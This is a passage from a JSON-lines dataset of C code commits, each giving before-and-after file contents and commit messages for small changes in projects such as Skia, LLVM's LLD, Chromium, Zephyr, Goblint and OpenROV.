xperimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow"}
{"commit":"2f2658506c4d344daa40dce57e69ca2e209ed99a","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 86\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 87\n#endif\n","subject":"Update Skia milestone to 87","message":"Update Skia milestone to 87\n\nChange-Id: Ic755236e56a0b8064c5539c0a483fffbd4d9f334\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/312156\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia"}
{"commit":"7af5ca84a6606374928cb5f2e15e14fff686fc63","old_file":"lib\/ReaderWriter\/ELF\/AArch64\/AArch64RelocationPass.h","new_file":"lib\/ReaderWriter\/ELF\/AArch64\/AArch64RelocationPass.h","old_contents":"\/\/===- lib\/ReaderWriter\/ELF\/AArch64\/AArch64RelocationPass.h ---------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Declares the relocation processing pass for x86-64. This includes\n\/\/\/   GOT and PLT entries, TLS, COPY, and ifunc.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLD_READER_WRITER_ELF_AARCH64_AARCH64_RELOCATION_PASS_H\n#define LLD_READER_WRITER_ELF_AARCH64_AARCH64_RELOCATION_PASS_H\n\n#include <memory>\n\nnamespace lld {\nclass Pass;\nnamespace elf {\nclass AArch64LinkingContext;\n\n\/\/\/ \\brief Create AArch64 relocation pass for the given linking context.\nstd::unique_ptr<Pass>\ncreateAArch64RelocationPass(const AArch64LinkingContext &);\n}\n}\n\n#endif\n","new_contents":"\/\/===- lib\/ReaderWriter\/ELF\/AArch64\/AArch64RelocationPass.h ---------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Declares the relocation processing pass for AArch64. This includes\n\/\/\/   GOT and PLT entries, TLS, COPY, and ifunc.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLD_READER_WRITER_ELF_AARCH64_AARCH64_RELOCATION_PASS_H\n#define LLD_READER_WRITER_ELF_AARCH64_AARCH64_RELOCATION_PASS_H\n\n#include <memory>\n\nnamespace lld {\nclass Pass;\nnamespace elf {\nclass AArch64LinkingContext;\n\n\/\/\/ \\brief Create AArch64 relocation pass for the given linking context.\nstd::unique_ptr<Pass>\ncreateAArch64RelocationPass(const AArch64LinkingContext &);\n}\n}\n\n#endif\n","subject":"Fix comment in AArch64 ELF backend","message":"Fix comment in AArch64 ELF backend\n\n\ngit-svn-id: f6089bf0e6284f307027cef4f64114ee9ebb0424@222814 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lld,llvm-mirror\/lld"}
{"commit":"f687a87560979bec5f7fc58f79e47baacb70cc25","old_file":"FABOperation\/FABAsyncOperation.h","new_file":"FABOperation\/FABAsyncOperation.h","old_contents":"\/\/\n\/\/  FABAsyncOperation.h\n\/\/  FABOperation\n\/\/\n\/\/  Copyright © 2016 Twitter. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/**\n *  Completion block that can be called in your subclass implementation. It is up to you when you want to call it.\n *\/\ntypedef void(^FABAsyncOperationCompletionBlock)(NSError *__nullable error);\n\n\/**\n *  FABAsyncOperation is a subclass of NSOperation that allows for asynchronous work to be performed, for things like networking, IPC or UI-driven logic. Create your own subclasses to encapsulate custom logic.\n *  @warning When subclassing to create your own operations, be sure to call -[markDone] at some point, or program execution will hang. \n *  @see -[markDone] in FABAsyncOperation_Private.h\n *\/\n@interface FABAsyncOperation : NSOperation\n\n\/**\n *  Add a callback method for consumers of your subclasses to set when the asynchronous work is marked as complete with -[markDone].\n *\/\n@property (copy, nonatomic, nullable) FABAsyncOperationCompletionBlock asyncCompletion;\n\n@end\n","new_contents":"\/\/\n\/\/  FABAsyncOperation.h\n\/\/  FABOperation\n\/\/\n\/\/  Copyright © 2016 Twitter. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/**\n *  Completion block that can be called in your subclass implementation. It is up to you when you want to call it.\n *\/\ntypedef void(^FABAsyncOperationCompletionBlock)(NSError *__nullable error);\n\n\/**\n *  FABAsyncOperation is a subclass of NSOperation that allows for asynchronous work to be performed, for things like networking, IPC or UI-driven logic. Create your own subclasses to encapsulate custom logic.\n *  @warning When subclassing to create your own operations, be sure to call -[finishWithError:] at some point, or program execution will hang. \n *  @see -[finishWithError:] in FABAsyncOperation_Private.h\n *\/\n@interface FABAsyncOperation : NSOperation\n\n\/**\n *  Add a callback method for consumers of your subclasses to set when the asynchronous work is marked as complete with -[finishWithError:].\n *\/\n@property (copy, nonatomic, nullable) FABAsyncOperationCompletionBlock asyncCompletion;\n\n@end\n","subject":"Update comments to refer to finishWithError","message":"Update comments to refer to finishWithError\n\nmarkDone was renamed to finishWithError","lang":"C","license":"mit","repos":"google-fabric\/FABOperation,twitter-fabric\/FABOperation,google-fabric\/FABOperation,twitter-fabric\/FABOperation"}
{"commit":"b929a1e2a5a963272516b620382684472d2d7a95","old_file":"arduino\/OpenROV\/AConfig.h","new_file":"arduino\/OpenROV\/AConfig.h","old_contents":"#ifndef __ACONFIG_H_\n#define __ACONFIG_H_\n\n\/* This must be before alphabetically before all other files that reference these settings for the compiler to work\n*  or you may get vtable errors.\n*\/\n\n\/* This section is for devices and their configuration. IF you have not setup you pins with the\n*  standard configuration of the OpenROV kits, you should probably clone the cape or controlboard\n*  and change the pin definitions there.  Things not wired to specific pins but on the I2C bus will\n*  have the address defined in this file.\n*\/\n\/\/Kit:\n#define HAS_STD_CAPE (0)\n#define HAS_STD_PILOT (1)\n#define HAS_OROV_CONTROLLERBOARD_25 (0)\n\n#define HAS_STD_LIGHTS (1)\n#define HAS_STD_CALIBRATIONLASERS (0)\n#define HAS_STD_2X1_THRUSTERS (1)\n#define HAS_STD_CAMERAMOUNT (1)\n\n\/\/After Market:\n#define HAS_POLOLU_MINIMUV (0)\n#define HAS_MS5803_14BA (0)\n#define MS5803_14BA_I2C_ADDRESS 0x76\n#define HAS_MPU9150 (0)\n#define MPU9150_EEPROM_START 2\n\n\n#endif\n","new_contents":"#ifndef __ACONFIG_H_\n#define __ACONFIG_H_\n\n\/* This must be before alphabetically before all other files that reference these settings for the compiler to work\n*  or you may get vtable errors.\n*\/\n\n\/* This section is for devices and their configuration. IF you have not setup you pins with the\n*  standard configuration of the OpenROV kits, you should probably clone the cape or controlboard\n*  and change the pin definitions there.  Things not wired to specific pins but on the I2C bus will\n*  have the address defined in this file.\n*\/\n\/\/Kit:\n#define HAS_STD_PILOT (1)\n\/* The definitions are done in th\n\t#define HAS_STD_CAPE (0)\n\t#define HAS_OROV_CONTROLLERBOARD_25 (0)\n*\/\n#include \"BoardConfig.h\"\n\n#define HAS_STD_LIGHTS (1)\n#define HAS_STD_CALIBRATIONLASERS (1)\n#define HAS_STD_2X1_THRUSTERS (1)\n#define HAS_STD_CAMERAMOUNT (1)\n\n\/\/After Market:\n#define HAS_POLOLU_MINIMUV (0)\n#define HAS_MS5803_14BA (0)\n#define MS5803_14BA_I2C_ADDRESS 0x76\n#define HAS_MPU9150 (0)\n#define MPU9150_EEPROM_START 2\n\n\n#endif\n","subject":"Add automation for arduino board selection for compilation","message":"Add automation for arduino board selection for compilation\n","lang":"C","license":"mit","repos":"codewithpassion\/openrov-software,codewithpassion\/openrov-software,codewithpassion\/openrov-software,codewithpassion\/openrov-software"}
{"commit":"1014b5f7f77c211a6d145240207c578de9ffda70","old_file":"tests\/regression\/13-privatized\/56-aget_extern_init_minimal.c","new_file":"tests\/regression\/13-privatized\/56-aget_extern_init_minimal.c","old_contents":"","new_contents":"\/\/ SKIP\n#include <pthread.h>\n#include <stdlib.h>\n\nextern int optind ;\n\npthread_t hthread  ;\n\nvoid *signal_waiter(void *arg )\n{\n}\n\nint main(int argc , char **argv )\n{\n  pthread_create(& hthread, NULL, & signal_waiter, NULL);\n\n  if (optind >= argc) {\n    if (optind == argc) {\n      \/\/ mine-lazy priv should also read Unknown int, not Unknown here\n      exit(1);\n    }\n  }\n\n  return (0);\n}","subject":"Add manual test where mine-W is more precise than mine-lazy due to extern global init top","message":"Add manual test where mine-W is more precise than mine-lazy due to extern global init top\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"bf562de155364372c4dd93c5471e4a709c52f7e7","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 89\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 90\n#endif\n","subject":"Update Skia milestone to 90","message":"Update Skia milestone to 90\n\nChange-Id: Ib4ef9057cb623b2d8ea57c40fb6f67ac731471f0\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/353778\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia"}
{"commit":"94b6cc19ea03b5fdcdb25e0e3663b663509757e4","old_file":"jobs\/AsyncLog.c","new_file":"jobs\/AsyncLog.c","old_contents":"\/\/\n\/\/  AsyncLog.c\n\/\/  Ctest\n\/\/\n\/\/  Created by Yanjiu Huang on 3\/24\/14.\n\/\/  Copyright (c) 2014 Yanjiu Huang. All rights reserved.\n\/\/\n\n#include <stdio.h>\n\n#include \"AsyncLog.h\"\n\nvoid async_log_error(const char* format,...){\n   \n}\n\nvoid async_log_debug(const char* format,...){\n\n}\n\nvoid async_log_info(const char* format,...){\n\n}","new_contents":"\/\/\n\/\/  AsyncLog.c\n\/\/  Ctest\n\/\/\n\/\/  Created by Yanjiu Huang on 3\/24\/14.\n\/\/  Copyright (c) 2014 Yanjiu Huang. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include <stdarg.h>\n\n#include \"AsyncLog.h\"\n\nvoid async_log_error(const char* format, ...){\n    va_list arg;\n    \n    va_start(arg, format);\n    vfprintf(stderr, format, arg);\n    va_end(arg);\n}\n\nvoid async_log_debug(const char* format, ...){\n    va_list arg;\n    \n    va_start(arg, format);\n    vfprintf(stdout, format, arg);\n    va_end(arg);\n}\n\nvoid async_log_info(const char* format, ...){\n    va_list arg;\n    \n    va_start(arg, format);\n    vfprintf(stdout, format, arg);\n    va_end(arg);\n}","subject":"Add the Async Log implementation","message":"Add the Async Log implementation\n","lang":"C","license":"mit","repos":"yanjiuhuang\/AsyncTalk,yanjiuhuang\/AsyncTalk"}
{"commit":"074f128cb1a27348516a8820f4bd079bac4d6ac3","old_file":"blogposting_p.h","new_file":"blogposting_p.h","old_contents":"\/*\n  This file is part of the kblog library.\n\n  Copyright (c) 2007 Christian Weilbach <christian_weilbach@web.de>\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Library General Public\n  License as published by the Free Software Foundation; either\n  version 2 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Library General Public License for more details.\n\n  You should have received a copy of the GNU Library General Public License\n  along with this library; see the file COPYING.LIB.  If not, write to\n  the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n  Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef BLOGPOSTING_P_H\n#define BLOGPOSTING_P_H\n\n#include \"blogposting.h\"\n\n#include <KDateTime>\n\n#include <QStringList>\n\nnamespace KBlog{\n\nclass BlogPostingPrivate\n{\n  public:\n    friend class Blog;\n    bool mPublished;\n    BlogPosting *q_ptr;\n    QString mPostingId;\n    QString mTitle;\n    QString mContent;\n    QStringList mCategories;\n    QString mError;\n    BlogPosting::Status mStatus;\n    KDateTime mCreationDateTime;\n    KDateTime mModificationDateTime;\n    Q_DECLARE_PUBLIC(BlogPosting);\n};\n\n} \/\/ namespace\n#endif\n","new_contents":"\/*\n  This file is part of the kblog library.\n\n  Copyright (c) 2007 Christian Weilbach <christian_weilbach@web.de>\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Library General Public\n  License as published by the Free Software Foundation; either\n  version 2 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Library General Public License for more details.\n\n  You should have received a copy of the GNU Library General Public License\n  along with this library; see the file COPYING.LIB.  If not, write to\n  the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n  Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef BLOGPOSTING_P_H\n#define BLOGPOSTING_P_H\n\n#include \"blogposting.h\"\n\n#include <KDateTime>\n\n#include <QStringList>\n\nnamespace KBlog{\n\nclass BlogPostingPrivate\n{\n  public:\n    friend class Blog;\n    bool mPublished;\n    BlogPosting *q_ptr;\n    QString mPostingId;\n    QString mTitle;\n    QString mContent;\n    QStringList mCategories;\n    QString mError;\n    BlogPosting::Status mStatus;\n    KDateTime mCreationDateTime;\n    KDateTime mModificationDateTime;\n    Q_DECLARE_PUBLIC(BlogPosting)\n};\n\n} \/\/ namespace\n#endif\n","subject":"Fix extra semicolor causing build failure","message":"Fix extra semicolor causing build failure\n\nsvn path=\/trunk\/KDE\/kdepimlibs\/; revision=694789\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/kblog,KDE\/kblog"}
{"commit":"4d11a3161be0592729610d34e47bd2ece8d92ace","old_file":"examples\/6lbr\/dev\/enc28j60\/enc28j60-arch.h","new_file":"examples\/6lbr\/dev\/enc28j60\/enc28j60-arch.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2013, CETIC.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * 3. Neither the name of the copyright holder nor the names of its\n *    contributors may be used to endorse or promote products derived\n *    from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE\n * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#ifndef ENC28J60_ARCH_H\n#define ENC28J60_ARCH_H\n\n#include <inttypes.h>\n\n\/* ENC28J60 architecture-specific SPI functions that are called by the\n   enc28j60 driver and must be implemented by the platform code *\/\n\nvoid enc28j60_arch_spi_init(void);\nvoid enc28j60_arch_spi_write(uint8_t data);\nuint8_t enc28j60_arch_spi_read(void);\nvoid enc28j60_arch_spi_select(void);\nvoid enc28j60_arch_spi_deselect(void);\n\n#endif\n","subject":"Add missing EC28J60 arch definition file","message":"Add missing EC28J60 arch definition file\n","lang":"C","license":"bsd-3-clause","repos":"bluerover\/6lbr,bluerover\/6lbr,bluerover\/6lbr,bluerover\/6lbr,bluerover\/6lbr,bluerover\/6lbr,bluerover\/6lbr"}
{"commit":"0e83ee4322f2f7c169bbf47f86770dc7cad04ac7","old_file":"examples\/ghc\/gen-files\/ghc_boot_platform.h","new_file":"examples\/ghc\/gen-files\/ghc_boot_platform.h","old_contents":"","new_contents":"#ifndef __PLATFORM_H__\n#define __PLATFORM_H__\n\n#define BuildPlatform_NAME  \"x86_64-unknown-linux\"\n#define HostPlatform_NAME   \"x86_64-unknown-linux\"\n#define TargetPlatform_NAME \"x86_64-unknown-linux\"\n\n#define x86_64_unknown_linux_BUILD 1\n#define x86_64_unknown_linux_HOST 1\n#define x86_64_unknown_linux_TARGET 1\n\n#define x86_64_BUILD_ARCH 1\n#define x86_64_HOST_ARCH 1\n#define x86_64_TARGET_ARCH 1\n#define BUILD_ARCH \"x86_64\"\n#define HOST_ARCH \"x86_64\"\n#define TARGET_ARCH \"x86_64\"\n#define LLVM_TARGET \"x86_64-unknown-linux\"\n\n#define linux_BUILD_OS 1\n#define linux_HOST_OS 1\n#define linux_TARGET_OS 1\n#define BUILD_OS \"linux\"\n#define HOST_OS \"linux\"\n#define TARGET_OS \"linux\"\n\n#define unknown_BUILD_VENDOR 1\n#define unknown_HOST_VENDOR 1\n#define unknown_TARGET_VENDOR  1\n#define BUILD_VENDOR \"unknown\"\n#define HOST_VENDOR \"unknown\"\n#define TARGET_VENDOR \"unknown\"\n\n#endif \/* __PLATFORM_H__ *\/\n","subject":"Add more files into gen-files","message":"Add more files into gen-files\n","lang":"C","license":"mit","repos":"antalsz\/hs-to-coq,antalsz\/hs-to-coq"}
{"commit":"10ace4b69498745ef706ccc513c73be14d035f8f","old_file":"test2\/structs\/C11\/anon2.c","new_file":"test2\/structs\/C11\/anon2.c","old_contents":"","new_contents":"\/\/ RUN: %ocheck 3 %s\n\nstruct nest {\n\tunion {\n\t\tstruct {\n\t\t\tunion {\n\t\t\t\tint i;\n\t\t\t};\n\t\t};\n\t};\n};\n\nint main()\n{\n\tstruct nest n = {\n\t\t.i = 2\n\t};\n\tn.i++;\n\treturn n.i;\n}\n","subject":"Add anonymous nested struct test","message":"Add anonymous nested struct test\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"3fa6e944890353f7937fab4c04d4e4fd1ac77fdc","old_file":"ui\/base\/ime\/character_composer.h","new_file":"ui\/base\/ime\/character_composer.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_BASE_IME_CHARACTER_COMPOSER_H_\n#define UI_BASE_IME_CHARACTER_COMPOSER_H_\n#pragma once\n\n#include <vector>\n\n#include \"base\/basictypes.h\"\n#include \"base\/string_util.h\"\n\nnamespace ui {\n\n\/\/ A class to recognize compose and dead key sequence.\n\/\/ Outputs composed character.\n\/\/\n\/\/ TODO(hashimoto): support unicode character composition starting with\n\/\/ Ctrl-Shift-U. http:\/\/crosbug.com\/15925\nclass CharacterComposer {\n public:\n  CharacterComposer();\n  ~CharacterComposer();\n\n  void Reset();\n\n  \/\/ Filters keypress.\n  \/\/ Returns true if the keypress is recognized as a part of composition\n  \/\/ sequence.\n  bool FilterKeyPress(unsigned int keycode);\n\n  \/\/ Returns a string consisting of composed character.\n  \/\/ Empty string is returned when there is no composition result.\n  const string16& composed_character() const {\n    return composed_character_;\n  }\n\n private:\n  \/\/ Remembers keypresses previously filtered.\n  std::vector<unsigned int> compose_buffer_;\n\n  \/\/ A string representing the composed character.\n  string16 composed_character_;\n\n  DISALLOW_COPY_AND_ASSIGN(CharacterComposer);\n};\n\n}  \/\/ namespace ui\n\n#endif  \/\/ UI_BASE_IME_CHARACTER_COMPOSER_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_BASE_IME_CHARACTER_COMPOSER_H_\n#define UI_BASE_IME_CHARACTER_COMPOSER_H_\n#pragma once\n\n#include <vector>\n\n#include \"base\/basictypes.h\"\n#include \"base\/string_util.h\"\n#include \"ui\/base\/ui_export.h\"\n\nnamespace ui {\n\n\/\/ A class to recognize compose and dead key sequence.\n\/\/ Outputs composed character.\n\/\/\n\/\/ TODO(hashimoto): support unicode character composition starting with\n\/\/ Ctrl-Shift-U. http:\/\/crosbug.com\/15925\nclass UI_EXPORT CharacterComposer {\n public:\n  CharacterComposer();\n  ~CharacterComposer();\n\n  void Reset();\n\n  \/\/ Filters keypress.\n  \/\/ Returns true if the keypress is recognized as a part of composition\n  \/\/ sequence.\n  bool FilterKeyPress(unsigned int keycode);\n\n  \/\/ Returns a string consisting of composed character.\n  \/\/ Empty string is returned when there is no composition result.\n  const string16& composed_character() const {\n    return composed_character_;\n  }\n\n private:\n  \/\/ Remembers keypresses previously filtered.\n  std::vector<unsigned int> compose_buffer_;\n\n  \/\/ A string representing the composed character.\n  string16 composed_character_;\n\n  DISALLOW_COPY_AND_ASSIGN(CharacterComposer);\n};\n\n}  \/\/ namespace ui\n\n#endif  \/\/ UI_BASE_IME_CHARACTER_COMPOSER_H_\n","subject":"Fix link error when component=shared_library is set","message":"Fix link error when component=shared_library is set\n\n\nBUG=103789\nTEST=Manual\n\n\nReview URL: http:\/\/codereview.chromium.org\/8515013\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@109554 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium"}
{"commit":"18ea3bfa8059ab859a758a65fd006327f1da31fd","old_file":"boards\/posix\/nrf52_bsim\/cmdline.h","new_file":"boards\/posix\/nrf52_bsim\/cmdline.h","old_contents":"\/*\n * Copyright (c) 2019 Oticon A\/S\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n\/**\n * This header exists solely to allow drivers meant for the native_posix board\n * to be used directly in the nrf52_bsim board.\n * Note that such reuse should be done with great care.\n *\n * The command line arguments parsing logic from native_posix was born as a copy\n * of the one from the BabbleSim's libUtil library\n * They are therefore mostly equal except for types and functions names.\n *\n * This header converts these so the native_posix call to dynamically register\n * command line arguments is passed to the nrf52_bsim one\n *\/\n\n#include \"..\/native_posix\/cmdline_common.h\"\n\nstatic inline void native_add_command_line_opts(struct args_struct_t *args)\n{\n\tvoid bs_add_extra_dynargs(struct args_struct_t *args);\n\tbs_add_extra_dynargs(args);\n}\n","new_contents":"\/*\n * Copyright (c) 2019 Oticon A\/S\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n\/**\n * This header exists solely to allow drivers meant for the native_posix board\n * to be used directly in the nrf52_bsim board.\n * Note that such reuse should be done with great care.\n *\n * The command line arguments parsing logic from native_posix was born as a copy\n * of the one from the BabbleSim's libUtil library\n * They are therefore mostly equal except for types and functions names.\n *\n * This header converts these so the native_posix call to dynamically register\n * command line arguments is passed to the nrf52_bsim one\n *\/\n\n#ifndef BOARDS_POSIX_NRF52_BSIM_CMDLINE_H\n#define BOARDS_POSIX_NRF52_BSIM_CMDLINE_H\n\n#include \"..\/native_posix\/cmdline_common.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstatic inline void native_add_command_line_opts(struct args_struct_t *args)\n{\n\tvoid bs_add_extra_dynargs(struct args_struct_t *args);\n\tbs_add_extra_dynargs(args);\n}\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* BOARDS_POSIX_NRF52_BSIM_CMDLINE_H *\/\n","subject":"Add missing header guard and extern C block","message":"nrf52_bsim: Add missing header guard and extern C block\n\nAdd a missing header guard and an extern \"C\" block\nin one of the nrf52_bsim headers\n\nSigned-off-by: Alberto Escolar Piedras <52be3174920ed06cbdfbcf9622a1a6c68e942617@oticon.com>\n","lang":"C","license":"apache-2.0","repos":"nashif\/zephyr,nashif\/zephyr,nashif\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,nashif\/zephyr,zephyrproject-rtos\/zephyr,Vudentz\/zephyr,zephyrproject-rtos\/zephyr,Vudentz\/zephyr,Vudentz\/zephyr,Vudentz\/zephyr,finikorg\/zephyr,galak\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,nashif\/zephyr,galak\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr"}
